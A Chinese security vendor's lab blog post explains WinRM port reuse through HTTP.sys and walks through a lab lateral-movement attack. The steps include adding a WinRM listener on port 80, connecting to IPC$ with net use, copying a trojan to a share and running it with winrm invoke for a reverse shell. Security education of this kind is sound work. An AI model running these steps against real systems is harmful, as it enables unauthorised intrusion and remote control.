国家网信办发布《国家网络安全事件报告管理办法》
2025-09-16
数字医学与健康大会DMHC——美创与您相约古都金陵
2025-08-12
美创科技打造县域医疗灾备新标杆|神木市医院 HIS 系统数据库分钟级切换演练实录
2025-07-02
百万罚单警示!DCAS助力金融机构筑牢数据安全防线,实现监管合规
2025-06-20
2025中国互联网产业年会丨《中国互联网产业绿色算力发展倡议》正式发布
2025-02-07
存储域
数据库加密 诺亚防勒索访问域
数据库防水坝 数据库防火墙 数据库安全审计 动态脱敏流动域
静态脱敏 数据水印 API审计 API防控 医疗防统方运维服务
数据库运维服务 中间件运维服务 国产信创改造服务 驻场运维服务 供数服务安全咨询服务
数据出境安全治理服务 数据安全能力评估认证服务 数据安全风险评估服务 数据安全治理咨询服务 数据分类分级咨询服务 个人信息风险评估服务 数据安全检查服务WinRM(Windows Remote Management)是Windows远程管理的简称,WinRM基于Web服务管理(WS-Management)标准,使用80和443端口,可以在对方开启防火墙的情况下远程管理目标机。在Windows Server 2008 R2以上的系统中都默认开启该服务。如果防御者配置不当,攻击者在内网渗透中很可能会利用WinRM实现端口复用,进而实现内网无文件攻击反弹shell。本期美创安全实验室将给大家介绍相关攻击原理及方法。
Part 1、WinRM端口复用原理
使用Windows的远程管理服务WinRM可以实现端口复用,结合HTTP.sys驱动自带的端口复用功能,一起实现正向的端口复用后门。
HTTP.sys驱动是IIS的主要组成部分,主要负责HTTP协议相关的处理,他有一个重要的功能是端口共享(Port Sharing)。所有基于HTTP.sys驱动的HTTP应用都可以共享同一个端口,只需要各自注册的URL前缀不相同即可。
而WinRM就是在HTTP.sys上注册了wsman的URL前缀,默认监听在5985端口。因此,在安装了IIS的Windows服务器上,开启WinRM服务后修改默认监听端口为80即可实现端口复用,通过Web端口登录Windows服务器。使用netsh http show servicestate命令可以查看所有在HTTP.sys驱动上注册过的URL前缀。
Part 2、端口复用配置
对于Windows Server 2008以上的系统中,WinRM服务默认启动并监听在5985端口上。如果服务器本来就监听了80和5985端口,则我们既需要保留原本的5985监听端口,同时需要新增Winrm监听的80端口。这样的话,WinRM同时监听80和5985端口。这样既能保证原来的5985端口管理员可以正常使用,我们也能通过80端口远程连接WinRM。
通过下面的命令,可以新增WinRM一个80端口的监听。
Winrm set winrm/config/service
@{EnableCompatibilityHttpLinstener=”true”}
可以看到80和5985都在监听。
Part 3、WinRM实现反弹SHELL
目标机:192.168.210.102(Win 7)
跳板机:192.168.20.35(Win10)
攻击机:192.168.210.38(KaliLinux)
1)在跳板机上运行winrm
命令:winrm quickconfig
2)在跳板机上使用net use连接目标机
命令·:net use \192.168.210.102ipc$ “<密码>” /user:”<用户名>”
3)将木马放置在目标机中的共享文件夹下
命令:copy <本地木马路径>\<目标机><共享文件夹>
4)利用跳板机内的WinRM实现无文件攻击反弹shell
命令:winrm invoke createwmicimv2/win32_process
@{commandline="\<目标机IP><共享文件夹目录><木马程序>"}
攻击机成功监听到反弹shell